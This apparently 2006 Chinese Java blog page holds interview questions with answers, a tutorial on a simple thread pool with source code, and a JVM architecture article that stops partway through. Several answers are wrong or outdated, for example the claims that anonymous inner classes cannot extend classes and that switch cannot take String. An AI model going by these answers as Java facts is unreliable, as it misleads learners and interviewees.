第二十二,接口是否可繼承接口? 抽象類是否可實現(implements)接口? 抽象類是否可繼承實體類(concrete class)?
第二十三,啟動一個線程是用run()還是start()?
第二十四,構造器Constructor是否可被override?
第二十五,是否可以繼承String類?
第二十六,當一個線程進入一個對象的一個synchronized方法后,其它線程是否可進入此對象的其它方法?
第二十七,try {}里有一個return語句,那么緊跟在這個try后的finally {}里的code會不會被執行,什么時候被執行,在return前還是后?
第二十八,編程題: 用最有效率的方法算出2乘以8等於幾?
第二十九,兩個對象值相同(x.equals(y) == true),但卻可有不同的hash code,這句話對不對?
第三十,當一個對象被當作參數傳遞到一個方法后,此方法可改變這個對象的屬性,并可返回變化后的結果,那么這里到底是值傳遞還是引用傳遞?
第三十一,swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?
第三十二,編程題: 寫一個Singleton出來。
以下是答案
第一,談談final, finally, finalize的區別。
final—修飾符(關鍵字)如果一個類被聲明為final,意味著它不能再派生出新的子類,不能作為父類被繼承。因此一個類不能既被聲明為 abstract的,又被聲明為final的。將變量或方法聲明為final,可以保證它們在使用中不被改變。被聲明為final的變量必須在聲明時給定初值,而在以后的引用中只能讀取,不可修改。被聲明為final的方法也同樣只能使用,不能重載
finally—再異常處理時提供 finally 塊來執行任何清除操作。如果拋出一個異常,那么相匹配的 catch 子句就會執行,然后控制就會進入 finally 塊(如果有的話)。
finalize—方法名。Java 技術允許使用 finalize() 方法在垃圾收集器將對象從內存中清除出去之前做必要的清理工作。這個方法是由垃圾收集器在確定這個對象沒有被引用時對這個對象調用的。它是在 Object 類中定義的,因此所有的類都繼承了它。子類覆蓋 finalize() 方法以整理系統資源或者執行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個對象調用的。
第二,Anonymous Inner Class (匿名內部類) 是否可以extends(繼承)其它類,是否可以implements(實現)interface(接口)?
匿名的內部類是沒有名字的內部類。不能extends(繼承) 其它類,但一個內部類可以作為一個接口,由另一個內部類實現。
第三,Static Nested Class 和 Inner Class的不同,說得越多越好(面試題有的很籠統)。
Nested Class (一般是C++的說法),Inner Class (一般是JAVA的說法)。Java內部類與C++嵌套類最大的不同就在于是否有指向外部的引用上。具體可見http: //
www.frontfree.net/articles/services/view.asp?id=704&page=1注: 靜態內部類(Inner Class)意味著1創建一個static內部類的對象,不需要一個外部類對象,2不能從一個static內部類的一個對象訪問一個外部類對象
第四,&和&&的區別。
&是位運算符。&&是布爾邏輯運算符。
第五,HashMap和Hashtable的區別。
都屬于Map接口的類,實現了將惟一鍵映射到特定的值上。
HashMap 類沒有分類或者排序。它允許一個 null 鍵和多個 null 值。
Hashtable 類似于 HashMap,但是不允許 null 鍵和 null 值。它也比 HashMap 慢,因為它是同步的。
第六,Collection 和 Collections的區別。
Collections是個java.util下的類,它包含有各種有關集合操作的靜態方法。
Collection是個java.util下的接口,它是各種集合結構的父接口。
第七,什么時候用assert。
斷言是一個包含布爾表達式的語句,在執行這個語句時假定該表達式為 true。如果表達式計算為 false,那么系統會報告一個 AssertionError。它用于調試目的:
assert(a > 0); // throws an AssertionError if a <= 0
斷言可以有兩種形式:
assert Expression1 ;
assert Expression1 : Expression2 ;
Expression1 應該總是產生一個布爾值。
Expression2 可以是得出一個值的任意表達式。這個值用于生成顯示更多調試信息的 String 消息。
斷言在默認情況下是禁用的。要在編譯時啟用斷言,需要使用 source 1.4 標記:
javac -source 1.4 Test.java
要在運行時啟用斷言,可使用 -enableassertions 或者 -ea 標記。
要在運行時選擇禁用斷言,可使用 -da 或者 -disableassertions 標記。
要系統類中啟用斷言,可使用 -esa 或者 -dsa 標記。還可以在包的基礎上啟用或者禁用斷言。
可以在預計正常情況下不會到達的任何位置上放置斷言。斷言可以用于驗證傳遞給私有方法的參數。不過,斷言不應該用于驗證傳遞給公有方法的參數,因為不管是否啟用了斷言,公有方法都必須檢查其參數。不過,既可以在公有方法中,也可以在非公有方法中利用斷言測試后置條件。另外,斷言不應該以任何方式改變程序的狀態。
第八,GC是什么? 為什么要有GC? (基礎)。
GC是垃圾收集器。Java 程序員不用擔心內存管理,因為垃圾收集器會自動進行管理。要請求垃圾收集,可以調用下面的方法之一:
System.gc()
Runtime.getRuntime().gc()
第九,String s = new String("xyz");創建了幾個String Object?
兩個對象,一個是“xyx”,一個是指向“xyx”的引用對象s。
第十,Math.round(11.5)等於多少? Math.round(-11.5)等於多少?
Math.round(11.5)返回(long)12,Math.round(-11.5)返回(long)-11;
第十一,short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯?
short s1 = 1; s1 = s1 + 1;有錯,s1是short型,s1+1是int型,不能顯式轉化為short型。可修改為s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正確。
第十二,sleep() 和 wait() 有什么區別? 搞線程的最愛
sleep()方法是使線程停止一段時間的方法。在sleep 時間間隔期滿后,線程不一定立即恢復執行。這是因為在那個時刻,其它線程可能正在運行而且沒有被調度為放棄執行,除非(a)“醒來”的線程具有更高的優先級
(b)正在運行的線程因為其它原因而阻塞。
wait()是線程交互時,如果線程對一個同步對象x 發出一個wait()調用,該線程會暫停執行,被調對象進入等待狀態,直到被喚醒或等待時間到。
第十三,Java有沒有goto?
Goto—java中的保留字,現在沒有在java中使用。
第十四,數組有沒有length()這個方法? String有沒有length()這個方法?
數組沒有length()這個方法,有length的屬性。
String有有length()這個方法。
第十五,Overload和Override的區別。Overloaded的方法是否可以改變返回值的類型?
方法的重寫Overriding和重載Overloading是Java多態性的不同表現。重寫Overriding是父類與子類之間多態性的一種表現,重載Overloading是一個類中多態性的一種表現。如果在子類中定義某方法與其父類有相同的名稱和參數,我們說該方法被重寫 (Overriding)。子類的對象使用這個方法時,將調用子類中的定義,對它而言,父類中的定義如同被“屏蔽”了。如果在一個類中定義了多個同名的方法,它們或有不同的參數個數或有不同的參數類型,則稱為方法的重載(Overloading)。Overloaded的方法是可以改變返回值的類型。
第十六,Set里的元素是不能重復的,那么用什么方法來區分重復與否呢? 是用==還是equals()? 它們有何區別?
Set里的元素是不能重復的,那么用iterator()方法來區分重復與否。equals()是判讀兩個Set是否相等。
equals()和==方法決定引用值是否指向同一對象equals()在類中被覆蓋,為的是當兩個分離的對象的內容和類型相配的話,返回真值。
第十七,給我一個你最常見到的runtime exception。
ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException,
ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException
第十八,error和exception有什么區別?
error 表示恢復不是不可能但很困難的情況下的一種嚴重問題。比如說內存溢出。不可能指望程序能處理這樣的情況。
exception 表示一種設計或實現問題。也就是說,它表示如果程序運行正常,從不會發生的情況。
第十九,List, Set, Map是否繼承自Collection接口?
List,Set是
Map不是
第二十,abstract class和interface有什么區別?
聲明方法的存在而不去實現它的類被叫做抽象類(abstract class),它用于要創建一個體現某些基本行為的類,并為該類聲明方法,但不能在該類中實現該類的情況。不能創建abstract 類的實例。然而可以創建一個變量,其類型是一個抽象類,并讓它指向具體子類的一個實例。不能有抽象構造函數或抽象靜態方法。Abstract 類的子類為它們父類中的所有抽象方法提供實現,否則它們也是抽象類為。取而代之,在子類中實現該方法。知道其行為的其它類可以在類中實現這些方法。
接口(interface)是抽象類的變體。在接口中,所有方法都是抽象的。多繼承性可通過實現這樣的接口而獲得。接口中的所有方法都是抽象的,沒有一個有程序體。接口只可以定義static final成員變量。接口的實現與子類相似,除了該實現類不能從接口定義中繼承行為。當類實現特殊接口時,它定義(即將程序體給予)所有這種接口的方法。然后,它可以在實現了該接口的類的任何對象上調用接口的方法。由于有抽象類,它允許使用接口名作為引用變量的類型。通常的動態聯編將生效。引用可以轉換到接口類型或從接口類型轉換,instanceof 運算符可以用來決定某對象的類是否實現了接口。
第二十一,abstract的method是否可同時是static,是否可同時是native,是否可同時是synchronized?
都不能
第二十二,接口是否可繼承接口? 抽象類是否可實現(implements)接口? 抽象類是否可繼承實體類(concrete class)?
接口可以繼承接口。抽象類可以實現(implements)接口,抽象類是否可繼承實體類,但前提是實體類必須有明確的構造函數。
第二十三,啟動一個線程是用run()還是start()?
啟動一個線程是調用start()方法,使線程所代表的虛擬處理機處于可運行狀態,這意味著它可以由JVM調度并執行。這并不意味著線程就會立即運行。run()方法可以產生必須退出的標志來停止一個線程。
第二十四,構造器Constructor是否可被override?
構造器Constructor不能被繼承,因此不能重寫Overriding,但可以被重載Overloading。
第二十五,是否可以繼承String類?
String類是final類故不可以繼承。
第二十六,當一個線程進入一個對象的一個synchronized方法后,其它線程是否可進入此對象的其它方法?
不能,一個對象的一個synchronized方法只能由一個線程訪問。
第二十七,try {}里有一個return語句,那么緊跟在這個try后的finally {}里的code會不會被執行,什么時候被執行,在return前還是后?
會執行,在return前執行。
第二十八,編程題: 用最有效率的方法算出2乘以8等於幾?
有C背景的程序員特別喜歡問這種問題。
2 << 3
第二十九,兩個對象值相同(x.equals(y) == true),但卻可有不同的hash code,這句話對不對?
不對,有相同的hash code。
第三十,當一個對象被當作參數傳遞到一個方法后,此方法可改變這個對象的屬性,并可返回變化后的結果,那么這里到底是值傳遞還是引用傳遞?
是值傳遞。Java 編程語言只由值傳遞參數。當一個對象實例作為一個參數被傳遞到方法中時,參數的值就是對該對象的引用。對象的內容可以在被調用的方法中改變,但對象的引用是永遠不會改變的。
第三十一,swtich是否能作用在byte上,是否能作用在long上,是否能作用在String上?
switch(expr1)中,expr1是一個整數表達式。因此傳遞給 switch 和 case 語句的參數應該是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。
第三十二,編程題: 寫一個Singleton出來。
Singleton模式主要作用是保證在Java應用程序中,一個類Class只有一個實例存在。
一般Singleton模式通常有幾種種形式:
第一種形式: 定義一個類,它的構造函數為private的,它有一個static的private的該類變量,在類初始化時實例話,通過一個public的getInstance方法獲取對它的引用,繼而調用其中的方法。
public class Singleton {
private Singleton(){}
//在自己內部定義自己一個實例,是不是很奇怪?
//注意這是private 只供內部調用
private static Singleton instance = new Singleton();
//這里提供了一個供外部訪問本class的靜態方法,可以直接訪問
public static Singleton getInstance() {
return instance;
}
}
第二種形式:
public class Singleton {
private static Singleton instance = null;
public static synchronized Singleton getInstance() {
//這個方法比上面有所改進,不用每次都進行生成對象,只是第一次
//使用時生成實例,提高了效率!
if (instance==null)
instance=new Singleton();
return instance; }
}
其他形式:
定義一個類,它的構造函數為private的,所有方法為static的。
一般認為第一種形式要更加安全些
第三十三 Hashtable和HashMap
Hashtable繼承自Dictionary類,而HashMap是Java1.2引進的Map interface的一個實現
HashMap允許將null作為一個entry的key或者value,而Hashtable不允許
還有就是,HashMap把Hashtable的contains方法去掉了,改成containsvalue和containsKey。因為contains方法容易讓人引起誤解。
最大的不同是,Hashtable的方法是Synchronize的,而HashMap不是,在
多個線程訪問Hashtable時,不需要自己為它的方法實現同步,而HashMap
就必須為之提供外同步。
Hashtable和HashMap采用的hash/rehash算法都大概一樣,所以性能不會有很大的差異。
posted @
2006-10-01 17:41 一縷青煙 閱讀(165) |
評論 (0) |
編輯 收藏
aaa
posted @
2006-09-21 20:58 一縷青煙 閱讀(154) |
評論 (0) |
編輯 收藏
Java代碼構建一個線程池
?
在現代的操作系統中,有一個很重要的概念――線程,幾乎所有目前流行的操作系統都支持線程,線程來源于操作系統中進程的概念,進程有自己的虛擬地址空間以及正文段、數據段及堆棧,而且各自占有不同的系統資源(例如文件、環境變量等等)。與此不同,線程不能單獨存在,它依附于進程,只能由進程派生。如果一個進程派生出了兩個線程,那這兩個線程共享此進程的全局變量和代碼段,但每個線程各擁有各自的堆棧,因此它們擁有各自的局部變量,線程在UNIX系統中還被進一步分為用戶級線程(由進程自已來管理)和系統級線程(由操作系統的調度程序來管理)。
既然有了進程,為什么還要提出線程的概念呢?因為與創建一個新的進程相比,創建一個線程將會耗費小得多的系統資源,對于一些小型的應用,可能感覺不到這點,但對于那些并發進程數特別多的應用,使用線程會比使用進程獲得更好的性能,從而降低操作系統的負擔。另外,線程共享創建它的進程的全局變量,因此線程間的通訊編程會更將簡單,完全可以拋棄傳統的進程間通訊的IPC編程,而采用共享全局變量來進行線程間通訊。
有了上面這個概念,我們下面就進入正題,來看一下線程池究竟是怎么一回事?其實線程池的原理很簡單,類似于操作系統中的緩沖區的概念,它的流程如下:先啟動若干數量的線程,并讓這些線程都處于睡眠狀態,當客戶端有一個新請求時,就會喚醒線程池中的某一個睡眠線程,讓它來處理客戶端的這個請求,當處理完這個請求后,線程又處于睡眠狀態。可能你也許會問:為什么要搞得這么麻煩,如果每當客戶端有新的請求時,我就創建一個新的線程不就完了?這也許是個不錯的方法,因為它能使得你編寫代碼相對容易一些,但你卻忽略了一個重要的問題――性能!就拿我所在的單位來說,我的單位是一個省級數據大集中的銀行網絡中心,高峰期每秒的客戶端請求并發數超過100,如果為每個客戶端請求創建一個新線程的話,那耗費的CPU時間和內存將是驚人的,如果采用一個擁有200個線程的線程池,那將會節約大量的的系統資源,使得更多的CPU時間和內存用來處理實際的商業應用,而不是頻繁的線程創建與銷毀。
既然一切都明白了,那我們就開始著手實現一個真正的線程池吧,線程編程可以有多種語言來實現,例如C、C++、java等等,但不同的操作系統提供不同的線程API接口,為了讓你能更明白線程池的原理而避免陷入煩瑣的API調用之中,我采用了JAVA語言來實現它,由于JAVA語言是一種跨平臺的語言,因此你不必為使用不同的操作系統而無法編譯運行本程序而苦惱,只要你安裝了JDK1.2以上的版本,都能正確地編譯運行本程序。另外JAVA語言本身就內置了線程對象,而且JAVA語言是完全面像對象的,因此能夠讓你更清晰地了解線程池的原理,如果你注意看一下本文的標題,你會發現整個示例程序的代碼只有大約100行。
本示例程序由三個類構成,第一個是TestThreadPool類,它是一個測試程序,用來模擬客戶端的請求,當你運行它時,系統首先會顯示線程池的初始化信息,然后提示你從鍵盤上輸入字符串,并按下回車鍵,這時你會發現屏幕上顯示信息,告訴你某個線程正在處理你的請求,如果你快速地輸入一行行字符串,那么你會發現線程池中不斷有線程被喚醒,來處理你的請求,在本例中,我創建了一個擁有10個線程的線程池,如果線程池中沒有可用線程了,系統會提示你相應的警告信息,但如果你稍等片刻,那你會發現屏幕上會陸陸續續提示有線程進入了睡眠狀態,這時你又可以發送新的請求了。
第二個類是ThreadPoolManager類,顧名思義,它是一個用于管理線程池的類,它的主要職責是初始化線程池,并為客戶端的請求分配不同的線程來進行處理,如果線程池滿了,它會對你發出警告信息。
最后一個類是SimpleThread類,它是Thread類的一個子類,它才真正對客戶端的請求進行處理,SimpleThread在示例程序初始化時都處于睡眠狀態,但如果它接受到了ThreadPoolManager類發過來的調度信息,則會將自己喚醒,并對請求進行處理。
首先我們來看一下TestThreadPool類的源碼:
//TestThreadPool.java
1 import java.io.*;
2
3
4 public class TestThreadPool
5 {
6 public static void main(String[] args)
7 {
8 try{
9 BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
10 String s;
11 ThreadPoolManager manager = new ThreadPoolManager(10);
12 while((s = br.readLine()) != null)
13 {
14 manager.process(s);
15 }
16 }catch(IOException e){}
17 }
18 }
由于此測試程序用到了輸入輸入類,因此第1行導入了JAVA的基本IO處理包,在第11行中,我們創建了一個名為manager的類,它給ThreadPoolManager類的構造函數傳遞了一個值為10的參數,告訴ThreadPoolManager類:我要一個有10個線程的池,給我創建一個吧!第12行至15行是一個無限循環,它用來等待用戶的鍵入,并將鍵入的字符串保存在s變量中,并調用ThreadPoolManager類的process方法來將這個請求進行處理。
下面我們再進一步跟蹤到ThreadPoolManager類中去,以下是它的源代碼:
//ThreadPoolManager.java
1 import java.util.*;
2
3
4 class ThreadPoolManager
5 {
6
7 private int maxThread;
8 public Vector vector;
9 public void setMaxThread(int threadCount)
10 {
11 maxThread = threadCount;
12 }
13
14 public ThreadPoolManager(int threadCount)
15 {
16 setMaxThread(threadCount);
17 System.out.println("Starting thread pool...");
18 vector = new Vector();
19 for(int i = 1; i <= 10; i++)
20 {
21 SimpleThread thread = new SimpleThread(i);
22 vector.addElement(thread);
23 thread.start();
24 }
25 }
26
27 public void process(String argument)
28 {
29 int i;
30 for(i = 0; i < vector.size(); i++)
31 {
32 SimpleThread currentThread = (SimpleThread)vector.elementAt(i);
33 if(!currentThread.isRunning())
34 {
35 System.out.println("Thread "+ (i+1) +" is processing:" +
argument);
36 currentThread.setArgument(argument);
37 currentThread.setRunning(true);
38 return;
39 }
40 }
41 if(i == vector.size())
42 {
43 System.out.println("pool is full, try in another time.");
44 }
45 }
46 }//end of class ThreadPoolManager
我們先關注一下這個類的構造函數,然后再看它的process()方法。第16-24行是它的構造函數,首先它給ThreadPoolManager類的成員變量maxThread賦值,maxThread表示用于控制線程池中最大線程的數量。第18行初始化一個數組vector,它用來存放所有的SimpleThread類,這時候就充分體現了JAVA語言的優越性與藝術性:如果你用C語言的話,至少要寫100行以上的代碼來完成vector的功能,而且C語言數組只能容納類型統一的基本數據類型,無法容納對象。好了,閑話少說,第19-24行的循環完成這樣一個功能:先創建一個新的SimpleThread類,然后將它放入vector中去,最后用thread.start()來啟動這個線程,為什么要用start()方法來啟動線程呢?因為這是JAVA語言中所規定的,如果你不用的話,那這些線程將永遠得不到激活,從而導致本示例程序根本無法運行。
下面我們再來看一下process()方法,第30-40行的循環依次從vector數組中選取SimpleThread線程,并檢查它是否處于激活狀態(所謂激活狀態是指此線程是否正在處理客戶端的請求),如果處于激活狀態的話,那繼續查找vector數組的下一項,如果vector數組中所有的線程都處于激活狀態的話,那它會打印出一條信息,提示用戶稍候再試。相反如果找到了一個睡眠線程的話,那第35-38行會對此進行處理,它先告訴客戶端是哪一個線程來處理這個請求,然后將客戶端的請求,即字符串argument轉發給SimpleThread類的setArgument()方法進行處理,并調用SimpleThread類的setRunning()方法來喚醒當前線程,來對客戶端請求進行處理。
可能你還對setRunning()方法是怎樣喚醒線程的有些不明白,那我們現在就進入最后一個類:SimpleThread類,它的源代碼如下:
//SimpleThread.java
1 class SimpleThread extends Thread
2 {
3 private boolean runningFlag;
4 private String argument;
5 public boolean isRunning()
6 {
7 return runningFlag;
8 }
9 public synchronized void setRunning(boolean flag)
10 {
11 runningFlag = flag;
12 if(flag)
13 this.notify();
14 }
15
16 public String getArgument()
17 {
18 return this.argument;
19 }
20 public void setArgument(String string)
21 {
22 argument = string;
23 }
24
25 public SimpleThread(int threadNumber)
26 {
27 runningFlag = false;
28 System.out.println("thread " + threadNumber + "started.");
29 }
30
31 public synchronized void run()
32 {
33 try{
34 while(true)
35 {
36 if(!runningFlag)
37 {
38 this.wait();
39 }
40 else
41 {
42 System.out.println("processing " + getArgument() + "... done.");
43 sleep(5000);
44 System.out.println("Thread is sleeping...");
45 setRunning(false);
46 }
47 }
48 } catch(InterruptedException e){
49 System.out.println("Interrupt");
50 }
51 }//end of run()
52 }//end of class SimpleThread
如果你對JAVA的線程編程有些不太明白的話,那我先在這里簡單地講解一下,JAVA有一個名為Thread的類,如果你要創建一個線程,則必須要從Thread類中繼承,并且還要實現Thread類的run()接口,要激活一個線程,必須調用它的start()方法,start()方法會自動調用run()接口,因此用戶必須在run()接口中寫入自己的應用處理邏輯。那么我們怎么來控制線程的睡眠與喚醒呢?其實很簡單,JAVA語言為所有的對象都內置了wait()和notify()方法,當一個線程調用wait()方法時,則線程進入睡眠狀態,就像停在了當前代碼上了,也不會繼續執行它以下的代碼了,當調用notify()方法時,則會從調用wait()方法的那行代碼繼續執行以下的代碼,這個過程有點像編譯器中的斷點調試的概念。以本程序為例,第38行調用了wait()方法,則這個線程就像凝固了一樣停在了38行上了,如果我們在第13行進行一個notify()調用的話,那線程會從第38行上喚醒,繼續從第39行開始執行以下的代碼了。
通過以上的講述,我們現在就不難理解SimpleThread類了,第9-14行通過設置一個標志runningFlag激活當前線程,第25-29行是SimpleThread類的構造函數,它用來告訴客戶端啟動的是第幾號進程。第31-50行則是我實現的run()接口,它實際上是一個無限循環,在循環中首先判斷一下標志runningFlag,如果沒有runningFlag為false的話,那線程處理睡眠狀態,否則第42-45行會進行真正的處理:先打印用戶鍵入的字符串,然后睡眠5秒鐘,為什么要睡眠5秒鐘呢?如果你不加上這句代碼的話,由于計算機處理速度遠遠超過你的鍵盤輸入速度,因此你看到的總是第1號線程來處理你的請求,從而達不到演示效果。最后第45行調用setRunning()方法又將線程置于睡眠狀態,等待新請求的到來。
最后還有一點要注意的是,如果你在一個方法中調用了wait()和notify()函數,那你一定要將此方法置為同步的,即synchronized,否則在編譯時會報錯,并得到一個莫名其妙的消息:“current thread not owner”(當前線程不是擁有者)。
至此為止,我們完整地實現了一個線程池,當然,這個線程池只是簡單地將客戶端輸入的字符串打印到了屏幕上,而沒有做任何處理,對于一個真正的企業級運用,本例還是遠遠不夠的,例如錯誤處理、線程的動態調整、性能優化、臨界區的處理、客戶端報文的定義等等都是值得考慮的問題,但本文的目的僅僅只是讓你了解線程池的概念以及它的簡單實現,如果你想成為這方面的高手,本文是遠遠不夠的,你應該參考一些更多的資料來深入地了解它
posted @
2006-09-20 13:52 一縷青煙 閱讀(165) |
評論 (0) |
編輯 收藏
Java虛擬機
什么是Java虛擬機
Java虛擬機是一個想象中的機器,在實際的計算機上通過軟件模擬來實現。Java虛擬機有自己想象中的硬件,如處理器、堆棧、寄存器等,還具有相應的指令系統。
1.為什么要使用Java虛擬機
Java語言的一個非常重要的特點就是與平臺的無關性。而使用Java虛擬機是實現這一特點的關鍵。一般的高級語言如果要在不同的平臺上運行,至少需要編譯成不同的目標代碼。而引入Java語言虛擬機后,Java語言在不同平臺上運行時不需要重新編譯。Java語言使用模式Java虛擬機屏蔽了與具體平臺相關的信息,使得Java語言編譯程序只需生成在Java虛擬機上運行的目標代碼(字節碼),就可以在多種平臺上不加修改地運行。Java虛擬機在執行字節碼時,把字節碼解釋成具體平臺上的機器指令執行。
2.誰需要了解Java虛擬機
Java虛擬機是Java語言底層實現的基礎,對Java語言感興趣的人都應對Java虛擬機有個大概的了解。這有助于理解Java語言的一些性質,也有助于使用Java語言。對于要在特定平臺上實現Java虛擬機的軟件人員,Java語言的編譯器作者以及要用硬件芯片實現Java虛擬機的人來說,則必須深刻理解Java虛擬機的規范。另外,如果你想擴展Java語言,或是把其它語言編譯成Java語言的字節碼,你也需要深入地了解Java虛擬機。
3.Java虛擬機支持的數據類型
Java虛擬機支持Java語言的基本數據類型如下:
byte://1字節有符號整數的補碼
short://2字節有符號整數的補碼
int://4字節有符號整數的補碼
long://8字節有符號整數的補碼
float://4字節IEEE754單精度浮點數
double://8字節IEEE754雙精度浮點數
char://2字節無符號Unicode字符
幾乎所有的Java類型檢查都是在編譯時完成的。上面列出的原始數據類型的數據在Java執行時不需要用硬件標記。操作這些原始數據類型數據的字節碼(指令)本身就已經指出了操作數的數據類型,例如iadd、ladd、fadd和dadd指令都是把兩個數相加,其操作數類型別是int、long、float和double。虛擬機沒有給boolean(布爾)類型設置單獨的指令。boolean型的數據是由integer指令,包括integer返回來處理的。boolean型的數組則是用byte數組來處理的。虛擬機使用IEEE754格式的浮點數。不支持IEEE格式的較舊的計算機,在運行Java數值計算程序時,可能會非常慢。
虛擬機支持的其它數據類型包括:
object//對一個Javaobject(對象)的4字節引用
returnAddress//4字節,用于jsr/ret/jsr-w/ret-w指令
注:Java數組被當作object處理。
虛擬機的規范對于object內部的結構沒有任何特殊的要求。在Sun公司的實現中,對object的引用是一個句柄,其中包含一對指針:一個指針指向該object的方法表,另一個指向該object的數據。用Java虛擬機的字節碼表示的程序應該遵守類型規定。Java虛擬機的實現應拒絕執行違反了類型規定的字節碼程序。Java虛擬機由于字節碼定義的限制似乎只能運行于32位地址空間的機器上。但是可以創建一個Java虛擬機,它自動地把字節碼轉換成64位的形式。從Java虛擬機支持的數據類型可以看出,Java對數據類型的內部格式進行了嚴格規定,這樣使得各種Java虛擬機的實現對數據的解釋是相同的,從而保證了Java的與平臺無關性和可
移植性。
Java虛擬機體系結構
Java虛擬機由五個部分組成:一組指令集、一組寄存器、一個棧、一個無用單元收集堆(Garbage-collected-heap)、一個方法區域。這五部分是Java虛擬機的邏輯成份,不依賴任何實現技術或組織方式,但它們的功能必須在真實機器上以某種方式實現。
1.Java指令集
Java虛擬機支持大約248個字節碼。每個字節碼執行一種基本的CPU運算,例如,把一個整數加到寄存器,子程序轉移等。Java指令集相當于Java程序的匯編語言。
Java指令集中的指令包含一個單字節的操作符,用于指定要執行的操作,還有0個或多個操作數,提供操作所需的參數或數據。許多指令沒有操作數,僅由一個單字節的操作符構成。
虛擬機的內層循環的執行過程如下:
do{
取一個操作符字節;
根據操作符的值執行一個動作;
}while(程序未結束)
由于指令系統的簡單性,使得虛擬機執行的過程十分簡單,從而有利于提高執行的效率。指令中操作數的數量和大小是由操作符決定的。如果操作數比一個字節大,那么它存儲的順序是高位字節優先。例如,一個16位的參數存放時占用兩個字節,其值為:
第一個字節*256+第二個字節字節碼指令流一般只是字節對齊的。指令tableswitch和lookup是例外,在這兩條指令內部要求強制的4字節邊界對齊。
2.寄存器
Java虛擬機的寄存器用于保存機器的運行狀態,與微處理器中的某些專用寄存器類似。
Java虛擬機的寄存器有四種:
pc:Java程序計數器。
optop:指向操作數棧頂端的指針。
frame:指向當前執行方法的執行環境的指針。
vars:指向當前執行方法的局部變量區第一個變量的指針。
Java虛擬機
Java虛擬機是棧式的,它不定義或使用寄存器來傳遞或接受參數,其目的是為了保證指令集的簡潔性和實現時的高效性(特別是對于寄存器數目不多的處理器)。
所有寄存器都是32位的。
3.棧
Java虛擬機的棧有三個區域:局部變量區、運行環境區、操作數區。
(1)局部變量區 每個Java方法使用一個固定大小的局部變量集。它們按照與vars寄存器的字偏移量來尋址。局部變量都是32位的。長整數和雙精度浮點數占據了兩個局部變量的空間,卻按照第一個局部變量的索引來尋址。(例如,一個具有索引n的局部變量,如果是一個雙精度浮點數,那么它實際占據了索引n和n+1所代表的存儲空間。)虛擬機規范并不要求在局部變量中的64位的值是64位對齊的。虛擬機提供了把局部變量中的值裝載到操作數棧的指令,也提供了把操作數棧中的值寫入局部變量的指令。
(2)運行環境區 在運行環境中包含的信息用于動態鏈接,正常的方法返回以及異常傳播。
·動態鏈接
運行環境包括對指向當前類和當前方法的解釋器符號表的指針,用于支持方法代碼的動態鏈接。方法的class文件代碼在引用要調用的方法和要訪問的變量時使用符號。動態鏈接把符號形式的方法調用翻譯成實際方法調用,裝載必要的類以解釋還沒有定義的符號,并把變量訪問翻譯成與這些變量運行時的存儲結構相應的偏移地址。動態鏈接方法和變量使得方法中使用的其它類的變化不會影響到本程序的代碼。
·正常的方法返回
如果當前方法正常地結束了,在執行了一條具有正確類型的返回指令時,調用的方法會得到一個返回值。執行環境在正常返回的情況下用于恢復調用者的寄存器,并把調用者的程序計數器增加一個恰當的數值,以跳過已執行過的方法調用指令,然后在調用者的執行環境中繼續執行下去。
·異常和錯誤傳播
異常情況在Java中被稱作Error(錯誤)或Exception(異常),是Throwable類的子類,在程序中的原因是:①動態鏈接錯,如無法找到所需的class文件。②運行時錯,如對一個空指針的引用
·程序使用了throw語句。
當異常發生時,Java虛擬機采取如下措施:
·檢查與當前方法相聯系的catch子句表。每個catch子句包含其有效指令范圍,能夠處理的異常類型,以及處理異常的代碼塊地址。
·與異常相匹配的catch子句應該符合下面的條件:造成異常的指令在其指令范圍之內,發生的異常類型是其能處理的異常類型的子類型。如果找到了匹配的catch子句,那么系統轉移到指定的異常處理塊處執行;如果沒有找到異常處理塊,重復尋找匹配的catch子句的過程,直到當前方法的所有嵌套的catch子句都被檢查過。
·由于虛擬機從第一個匹配的catch子句處繼續執行,所以catch子句表中的順序是很重要的。因為Java代碼是結構化的,因此總可以把某個方法的所有的異常處理器都按序排列到一個表中,對任意可能的程序計數器的值,都可以用線性的順序找到合適的異常處理塊,以處理在該程序計數器值下發生的異常情況。
·如果找不到匹配的catch子句,那么當前方法得到一個"未截獲異常"的結果并返回到當前方法的調用者,好像異常剛剛在其調用者中發生一樣。如果在調用者中仍然沒有找到相應的異常處理塊,那么這種錯誤傳播將被繼續下去。如果錯誤被傳播到最頂層,那么系統將調用一個缺省的異常處理塊。
(3)操作數棧區 機器指令只從操作數棧中取操作數,對它們進行操作,并把結果返回到棧中。選擇棧結構的原因是:在只有少量寄存器或非通用寄存器的機器(如Intel486)上,也能夠高效地模擬虛擬機的行為。操作數棧是32位的。它用于給方法傳遞參數,并從方法接收結果,也用于支持操作的參數,并保存操作的結果。例如,iadd指令將兩個整數相加。相加的兩個整數應該是操作數棧頂的兩個字。這兩個字是由先前的指令壓進堆棧的。這兩個整數將從堆棧彈出、相加,并把結果壓回到操作數棧中。
每個原始數據類型都有專門的指令對它們進行必須的操作。每個操作數在棧中需要一個存儲位置,除了long和double型,它們需要兩個位置。操作數只能被適用于其類型的操作符所操作。例如,壓入兩個int類型的數,如果把它們當作是一個long類型的數則是非法的。在Sun的虛擬機實現中,這個限制由字節碼驗證器強制實行。但是,有少數操作(操作符dupe和swap),用于對運行時數據區進行操作時是不考慮類型的。
4.無用單元收集堆
Java的堆是一個運行時數據區,類的實例(對象)從中分配空間。Java語言具有無用單元收集能力:它不給程序員顯式釋放對象的能力。Java不規定具體使用的無用單元收集算法,可以根據系統的需求使用各種各樣的算法。
5.方法區
